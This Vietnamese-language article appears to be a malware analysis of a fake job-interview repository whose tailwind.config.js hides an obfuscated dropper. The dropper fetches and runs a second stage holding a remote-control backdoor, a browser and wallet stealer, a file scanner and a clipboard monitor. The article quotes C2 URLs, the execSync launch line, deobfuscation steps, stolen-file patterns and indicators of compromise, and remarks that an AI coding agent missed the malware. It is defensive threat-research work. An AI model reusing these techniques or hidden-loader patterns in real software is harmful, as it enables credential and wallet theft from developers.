- Sau khi đề nghị tuyển dụng vị trí kỹ sư phần mềm trên LinkedIn, kẻ tấn công đã gửi một kho GitHub riêng tư được ngụy trang thành bài tập React/Web3 hợp lệ; khi chạy, mã độc JavaScript ẩn trong
tailwind.config.jssẽ hoạt động trên máy tính của lập trình viên - Tệp cấu hình 30.987 byte đã giấu 27KB mã bị làm rối sau hàng nghìn ký tự khoảng trắng; nó nhận payload giai đoạn 2 được mã hóa bằng AES-256-CBC từ máy chủ từ xa, lưu vào
%TEMP%\packrồi chạy bằngnode pack - Kết quả quan sát khoảng 10 phút trong một VM cách ly Windows 11 ARM cho thấy payload kích hoạt bốn thành phần: backdoor điều khiển từ xa, trình đánh cắp trình duyệt/ví, bộ quét tệp đệ quy và trình giám sát clipboard
- Thông qua Socket.IO, nó điều khiển terminal, SSH, màn hình, bàn phím và chuột; thu thập cơ sở dữ liệu Chromium, kho lưu trữ tiện ích ví, khóa SSH, mã nguồn, tệp cấu hình, v.v.; đồng thời ghi nhận 2.588 yêu cầu ở cổng tải tệp lên
- Các kho bài tập do người lạ gửi nên được xem là mã không đáng tin cậy và cần kiểm tra trong VM hoặc container dùng một lần, không có hồ sơ trình duyệt thật, khóa SSH, thông tin xác thực đám mây hay ví; nếu đã bị nhiễm, cần ngắt mạng, bảo toàn bằng chứng rồi thay cả các thông tin bí mật
Kho lưu trữ ngụy trang thành bài tập tuyển dụng Web3 hợp lệ
- Người dùng LinkedIn Wayan Adrian đề nghị vị trí kỹ sư phần mềm tại shrapnel.com và gửi kho GitHub riêng tư
tech-active-workplace-frontend-maincủa tài khoảnyevhen-olàm bài tập - Nền tảng chiến dịch NFT tên BLAIEXS nhìn bề ngoài là một dự án React/Web3 bình thường
- Frontend React cung cấp thương hiệu, bảng điều khiển quản trị, quản lý chiến dịch, luồng tạo NFT, v.v.
- Express API xử lý xác thực, dữ liệu dashboard, kiểm tra KYB, tạo/claim NFT, tải tệp lên và một số endpoint stub
- Script seed tạo các tài khoản demo superadmin, thương hiệu và người tiêu dùng, chiến dịch
Demo NFT Drop, cùng NFTDemo Collectiblecó số lượng cung ứng 100
- Phạm vi bài tập thực tế chỉ là một tính năng hiển thị mạng MetaMask đơn giản
- Triển khai
getChainId()bất đồng bộ trongsrc/utils/ethereum.jsđể gọieth_chainIdvà trả về giá trị thập lục phân đã parse hoặcnull - Triển khai
getNetworkLabel(chainId)trong cùng tệp để tìm tên mạng dễ đọc từ đối tượngNETWORKShiện có - Sửa
src/components/Wallet/ConnectWalletButton.jsđể gọi hai hàm này sau khi kết nối ví
- Triển khai
- Sau khi hoàn tất triển khai và chạy máy chủ phát triển, nó không khởi động trong một thời gian dài; người dùng phát hiện bất thường và rút cáp Internet
Mã thực thi ẩn trong tailwind.config.js
- Trong
ls -la,tailwind.config.jscó kích thước 30.987 byte, nhưng trong trình soạn thảo chỉ thấy 97 dòng;wc -ccũng xác nhận cùng kích thước - Gần dòng 95, một khối JavaScript lớn khó đọc được giấu sau hàng nghìn ký tự khoảng trắng
- Mã sử dụng các kỹ thuật làm rối JavaScript phổ biến
- Lưu các chuỗi quan trọng trong một mảng lớn
- Xoay mảng cho đến khi checksum khớp
- Che giấu việc truy cập chuỗi phía sau hàm decoder
- Thay tên rõ nghĩa bằng chỉ mục số và lời gọi wrapper
- Một trong hai decoder khôi phục chuỗi ở dạng Base64, decoder còn lại áp dụng khóa theo từng chuỗi và mật mã dòng tương tự RC4; mảng chuỗi được xoay trước khi chỉ mục decoder khớp
- Có thể gỡ rối mà không cần chạy mã độc theo trình tự sau
- Trích xuất mảng chuỗi
- Tái hiện việc xoay mảng để đạt checksum dự kiến
- Triển khai lại hàm decoder
- Thay các lời gọi như
b(0x214),c(0x2f1, "key")bằng chuỗi thực - Đơn giản hóa các đối tượng wrapper và hàm trợ giúp để làm lộ ý đồ thực thi
Hoạt động của dropper giai đoạn 1
- Mã sau khi gỡ rối nạp
child_process,os,fs,path,cryptovà càiaxioscùngsocket.io-clientvào thư mục tạm - Các trình xử lý
uncaughtExceptionvàunhandledRejectionở cấp tiến trình được cấu hình để bỏ qua lỗi - Luồng thực thi payload từ xa như sau
- UID là
59e605dd78fb2aafccd1b622f06a00ca - Lấy dữ liệu từ
http://45.146.252.17/api/service/59e605dd78fb2aafccd1b622f06a00ca - Đưa UID và chuỗi
saltvàocrypto.scryptSyncđể dẫn xuất khóa 32 byte - Tách phản hồi theo định dạng
base64_iv:base64_ciphertextvà giải mã bằngaes-256-cbc - Ghi plaintext vào tệp
packtrong thư mục tạm - Chạy bằng
child_process.execSync("node pack", { windowsHide: true, cwd: os.tmpdir() })
- UID là
- Đây là malware dropper tải xuống và chạy phần mềm độc hại khác thay vì tự thực hiện chức năng
- Mã tải xuống không có xác minh chữ ký, danh sách cho phép hash, cố định nguồn, giới hạn đường dẫn hay guard chống thực thi, nên endpoint từ xa có thể chạy mã với quyền của tài khoản hệ điều hành đã nạp cấu hình Tailwind
Phân tích động thực hiện trong VM cách ly
- Để không làm lộ hệ thống host, một VM Windows 11 ARM dùng một lần được cấu hình bằng UTM
- Bộ nhớ
4096 MiB - Ổ đĩa
64 GiB - Kết nối mạng
shared/NAT - Tắt thư mục chia sẻ
- Bộ nhớ
- Các công cụ được cài đặt để thu thập hành vi mã độc từ nhiều góc độ
- Wireshark: thu thập gói tin và lưu lượng C2/rò rỉ dữ liệu
- Sysinternals Sysmon: telemetry sự kiện Windows bền vững
- Procmon: thu thập hoạt động tiến trình, registry và hệ thống tệp khi đang chạy
- Để xác định mục tiêu thu thập của mã độc, dữ liệu mồi nhử được đặt sẵn
- Cặp khóa SSH
- Kho GitHub riêng tư
- Ví tiền mã hóa
- Dữ liệu trình duyệt
- Các tệp khác mà trình đánh cắp thông tin có thể nhắm đến
- Chạy
yarn starttrong VM, quan sát khoảng 10 phút, rồi thu đượcrun1-full.pcapng,run1-sysmon.evtx,stage2-pack.bin
Luồng lây nhiễm được xác nhận trên mạng
- Các yêu cầu HTTP tới
45.146.252.17được phân chia vai trò theo cổng- Cổng
80: lấy payload giai đoạn 1, đăng ký host, gửi log - Cổng
7641: backdoor điều khiển và ra lệnh qua Socket.IO - Cổng
7646: 2.588 lượt tải tệp lên - Cổng
7649: 3 lượt tải dữ liệu trình duyệt lớn hơn nhưng số lượng ít hơn
- Cổng
- Yêu cầu đầu tiên là
GET /api/service/59e605dd78fb2aafccd1b622f06a00ca, và phản hồi có dạngbase64_iv:base64_ciphertextvớiContent-Length: 150897 tailwind.config.jsgiải mã phản hồi bằng AES-256-CBC, ghi plaintext vào%TEMP%\pack, rồi chạy bằngnode pack- Đặc điểm của payload giai đoạn 2 thu được như sau
- SHA-256:
68a64d8c015c06fd70bcb8c5878c1e430da827dd00b62f8e6ef69e76bb94de5b - Kích thước:
113136byte - Định dạng: JavaScript ASCII một dòng
- SHA-256:
packsau khi giải mã cũng bị làm rối lại, nhưng dùng kỹ thuật giống giai đoạn đầu nên có thể gỡ rối bằng cùng quy trình
Payload giai đoạn 2 gồm bốn chương trình
packkhông phải là một script đơn lẻ mà là một cây tiến trình nhỏ chạy bốn chương trình sau- Ghi và chạy backdoor điều khiển–ra lệnh
scdatatrong thư mục tạm - Ghi và chạy trình đánh cắp trình duyệt–ví
ldatatrong thư mục tạm - Chạy trực tiếp trình quét tệp đệ quy trong bộ nhớ bằng
node -e - Chạy trực tiếp trình giám sát clipboard trong bộ nhớ bằng
node -e
- Ghi và chạy backdoor điều khiển–ra lệnh
- Cấu hình chính gồm UID
59e605dd78fb2aafccd1b622f06a00ca, khóa người dùng308, host45.146.252.17, cổng Socket.IO7641, cổng khóa7648, cổng tải lên trình duyệt7649, cổng tải lên tệp7646
scdata: backdoor điều khiển từ xa tương tác
scdatađược ghi thành tệp trong%TEMP%, sau đó chạy bằngnpm i axios socket.io-client ... && node scdata, và tồn tại như một tiến trình con chạy lâu dài- Sau khi chạy, nó tự cấu hình để trông như một tiến trình bình thường
- Tiêu đề tiến trình:
vhost.ctl - Tệp đánh dấu một phiên bản duy nhất:
%TEMP%\.npm\vhost.ctl - Đăng ký host:
http://45.146.252.17/api/service/… - Gửi log:
http://45.146.252.17/api/service/makelog - Socket.IO C2:
http://45.146.252.17:7641
- Tiêu đề tiến trình:
- Nó cũng cài đặt thêm các package cần cho chức năng điều khiển từ xa
socket.io-client,ssh2,node-pty: chức năng giống terminal và SSHsharp,screenshot-desktop,clipboardy,@nut-tree-fork/nut-js: chụp màn hình, clipboard, di chuyển·nhấp·cuộn chuột, nhập bàn phím
- Các sự kiện Socket.IO trực tiếp cho thấy phạm vi điều khiển từ xa
- Terminal:
start-terminal,terminal-input,terminal-resize,stop-terminal,command - Xác nhận host và chụp:
whour,capture - Điều khiển đầu vào:
mouseMove,mouseClick,mouseScroll,keyTap,keyCombo - Clipboard:
copyText,pasteText - SSH và kết thúc:
start_ssh,ssh_input,kill
- Terminal:
- Trong PCAP, đã xác nhận polling trên cổng
7641, bắt tay WebSocket và sự kiện máy chủ đầu tiênwhour; trong Sysmon lần lượt ghi nhậnnode.exe scdata, PowerShell truy vấn thông tin hệ thống và việc cài đặt hai nhóm package npm - Vượt ra ngoài đánh cắp thông tin đơn thuần, nó còn cung cấp cho kẻ tấn công cả shell và chức năng điều khiển desktop
ldata: trình đánh cắp dữ liệu trình duyệt và ví
ldatađược ghi vào%TEMP%và chạy bằngnpm i axios && node ldata, tiêu đề tiến trình lànpm-cache- Nó thu thập hồ sơ trình duyệt và kho lưu trữ extension ví rồi gửi đến
http://45.146.252.17:7649/upload, đồng thời kiểm tra trạng thái LevelDB tại/cldbs - Trình duyệt mục tiêu được cấu hình rộng theo từng hệ điều hành
- Windows: Chrome, Edge, Brave, LT Browser
- macOS: Chrome, Brave, Opera, LT Browser, Edge và keychain đăng nhập cục bộ
- Linux: các thư mục hồ sơ Chromium tương ứng
- Từ thư mục
DefaulthoặcProfile*, nó tải lên các cơ sở dữ liệu Chromium sauLogin DataLogin Data For AccountWeb Data
- Sau đó nó duyệt
Local Extension Settings/<extension-id>; trong các ID extension ví được hard-code cũng cónkbihfbeogaeaoehlefnkodbefgpgknncủa MetaMask - Với 8 đường dẫn extension ví đầu tiên, nó sao chép thư mục LevelDB vào thư mục tạm rồi tải lên từng tệp, và quyết định hoàn tất hay thử lại dựa trên phản hồi
cldbstừ máy chủ - Ba lượt tải lên được xác nhận trên cổng
7649là các cơ sở dữ liệu sauLogin_Data.sqlite: 51.200 byteLogin_Data_For_Account.sqlite: 51.200 byteWeb_Data.sqlite: 262.144 byte
- Dữ liệu thử nghiệm không có mật khẩu đã lưu hay dòng thẻ, nhưng có 6 giá trị tự động điền và metadata trình duyệt
- Các trình duyệt họ Chrome mã hóa cục bộ một số trường, nên chỉ với cơ sở dữ liệu không phải lúc nào cũng khôi phục được bí mật dạng rõ
- Tuy nhiên, khi kết hợp với bí mật hệ điều hành, cookie, kho extension và trình duyệt đang mở khóa, nó trở thành một phần của pipeline đánh cắp thông tin xác thực
- Sau khi tải lên dữ liệu trình duyệt và LevelDB cần thiết, hoặc khi máy chủ đánh dấu hoàn tất, nó kết thúc và không chờ lệnh riêng từ người vận hành
Trình quét tệp đệ quy và trình giám sát clipboard
- Trình quét tệp đệ quy không tạo tệp riêng mà chạy bằng
node -e, bắt đầu quét từ thư mục home của người dùng- Trên Windows, nó liệt kê ký tự ổ đĩa bằng
Get-CimInstance Win32_LogicalDiskvà cũng kiểm tra thư mục gốc của từng ổ - Các mẫu tệp thu thập gồm
*.env*,*.md,*.pem,*.ini,*.secret,*.json,*.js,*.ts,*.csv,*.txt,*.doc,*.docx,*.pdf,*.xlsx,.zsh_history,.bash_history ~/.ssh,~/.aws,~/.azure,~/.config,~/.foundrytự động được coi là các thư mục đáng quan tâm- Nó cũng tìm các tên như
metamask,bitcoin,btc,solana,secret phrase,private key - Kết quả được gửi đến
http://45.146.252.17:7646/upload
- Trên Windows, nó liệt kê ký tự ổ đĩa bằng
- Trong môi trường mồi nhử, các tệp như
id_ed25519,id_ed25519.pub,History.txt,seed.js,password.js,tokens.js,ConnectWalletButton.js,ExportWallet.js,RegisterWallet.js,tailwind.config.js,aptos-cli.jsonđã thực sự được tải lên - Nếu
ldatachuyên trách trình duyệt và kho ví, thì trình quét tệp thu thập trên diện rộng khóa SSH, cấu hình, mã nguồn, bí mật cục bộ, lịch sử shell và tệp dự án - Trình giám sát clipboard cũng chạy bằng
node -e, tiêu đề tiến trình lànpm-compiler.log- Sau khi đợi vài giây, nó lặp lại việc đọc clipboard
- Trên macOS dùng
pbpaste, trên Windows dùngpowershell -NoProfile -NonInteractive Get-Clipboard - Giá trị đã thay đổi được gửi đến
http://45.146.252.17/api/service/makelog
- Ngay cả khi không phân tích định dạng, nó vẫn có thể bắt nguyên văn mật khẩu, cụm từ khôi phục, khóa riêng tư, token API, mã dùng một lần, URL GitHub, địa chỉ ví và bí mật triển khai mà người dùng sao chép
Nguyên tắc cần tuân thủ trước khi chạy bài tập tuyển dụng
- Kho bài tập do người lạ gửi phải được xem là mã thực thi không đáng tin cậy cho đến khi độ an toàn được xác minh
- Trước
yarn install,npm install,yarn build,yarn start, cần rà soát các mục saupackage.json- Script vòng đời
- Tệp cấu hình
- Các hook phụ thuộc rõ ràng
- Mã độc trong trường hợp này ẩn trong
tailwind.config.js, nơi mọi người dễ bỏ qua; tệp cấu hình, dependency và công cụ build đều có thể được thực thi như mã - Dự án phỏng vấn nên được chạy trong VM hoặc container dùng một lần không mount bí mật thật
- Hồ sơ trình duyệt cá nhân
- Trình quản lý mật khẩu
- Khóa SSH
- Ví tiền mã hóa
- Token GitHub
- Thông tin xác thực cloud
- Phiên ngân hàng
- Tài khoản email chính
- Với bài tập cần tài khoản hoặc ví, hãy dùng danh tính thử nghiệm mới, không có tiền và không tái sử dụng ở dịch vụ khác
- Nếu là bài tập Web3, chỉ dùng testnet, và không kết nối ví thật với dự án không rõ nguồn gốc dù trông có vẻ vô hại
Các chỉ dấu kiểm tra tình trạng lây nhiễm
- Trên macOS và Linux, hãy ưu tiên kiểm tra các mục sau
- Các tiến trình đang chạy liên quan đến
node,pack,scdata,ldata,npm-compiler,vhost.ctl - Kết nối tới
45.146.252.17hoặc các cổng7641,7646,7649 pack,scdata,ldata,vhost.ctltrong thư mục tạm, Downloads, Desktop, Documents, Library- Tệp đánh dấu
*/.npm/vhost.ctl - Các chuỗi IP, UID,
/api/service/makelog,node scdata,node ldata,node packtrong dự án đã tải xuống
- Các tiến trình đang chạy liên quan đến
- Trên Windows, hãy kiểm tra các mục sau
- Trong các tiến trình
node,npm,cmd,powershell, những mục có dòng lệnh chứapack,scdata,ldata,node -e, địa chỉ IP,Get-Clipboard - Kết nối TCP đang mở tới
45.146.252.17hoặc các cổng từ xa7641,7646,7649 pack,scdata,ldata,vhost.ctl,.npm\vhost.ctldưới%TEMP%- Các chuỗi C2 đã biết trong thư mục đã clone kho lưu trữ phỏng vấn
- Trong các tiến trình
- Nếu phát hiện dù chỉ một trong các dấu hiệu: tiến trình Node còn đang chạy, kết nối tới IP đó, hoặc các hiện vật
pack·scdata·ldata, thì phải coi hệ thống đã bị lộ - Các chỉ dấu này là bước kiểm tra ban đầu dành riêng cho mẫu đã phân tích, không phải quy trình pháp chứng hoàn chỉnh
Dọn dẹp hệ thống bị lây nhiễm và thay thế bí mật
- Trước hết, hãy ngắt máy tính khỏi mạng và không tiếp tục dò tìm, gỡ lỗi hoặc sao chép bí mật mới trong môi trường bị nhiễm
- Nếu cần bằng chứng, hãy lưu giữ các dữ liệu sau trước khi xóa
- Danh sách tiến trình
- Kết nối mạng
- Tệp đáng ngờ
- Lịch sử trình duyệt
- Kho lưu trữ độc hại
- Sau đó, kết thúc các tiến trình liên quan đến
node pack,node scdata,node ldata,node -e,npm-compiler,vhost.ctlvà xóapack,scdata,ldata,.npm/vhost.ctltrong thư mục tạm - Nếu đó là VM dùng một lần và không cần giữ lại công việc Node hợp lệ, có thể dùng
pkill nodetrên macOS·Linux hoặc buộc kết thúc toàn bộ tiến trìnhnodetrên Windows - Xóa kho lưu trữ độc hại và
node_modules, nhưng nếu cần phân tích thêm thì lưu một bản ZIP ngoại tuyến - Chỉ xóa tệp là chưa đủ; cần thay thế hoặc hủy bỏ các thông tin bí mật sau
- Khóa SSH
- Token GitHub·npm
- Khóa đám mây và API key
- Bí mật triển khai
- Mật khẩu đã lưu trong trình duyệt
- Phiên đăng nhập đang hoạt động
- Nếu seed ví hoặc khóa riêng có khả năng đã chạm tới hệ thống bị nhiễm, hãy tạo ví mới trên thiết bị sạch và chuyển tiền sang đó
Tấn công khai thác ranh giới tin cậy của công cụ phát triển
- Các sản phẩm antivirus truyền thống không phát hiện kho lưu trữ này, và AI coding agent phổ biến được dùng để giải bài tập cũng không nhận diện được mã độc ẩn trong dự án
- Vì Tailwind đánh giá tệp cấu hình JavaScript như một module Node, nên IIFE ở dòng 95 sẽ chạy ngay khi công cụ phát triển, script build, tích hợp editor, Tailwind CLI, bundler hoặc tác vụ CI nạp cấu hình
- Cấu hình Tailwind hợp lệ chỉ kéo dài đến dòng 94, sau đó có thêm khoảng 27KB mã bị làm rối
- Payload được tải xuống chạy với cùng quyền hệ điều hành như người dùng đã nạp cấu hình
- Có thể truy cập tệp cục bộ, hồ sơ trình duyệt, thông tin xác thực đã lưu, dữ liệu extension ví, khóa SSH, biến môi trường, token gói, thông tin xác thực đám mây, mã nguồn, clipboard
- Nếu chạy trong CI, bí mật triển khai, artifact build, thông tin xác thực registry và token truy cập production cũng có thể bị lộ
- Cách khắc phục cần thiết là loại bỏ hoàn toàn blob JavaScript bị làm rối khỏi
tailwind.config.js
Chưa có bình luận nào.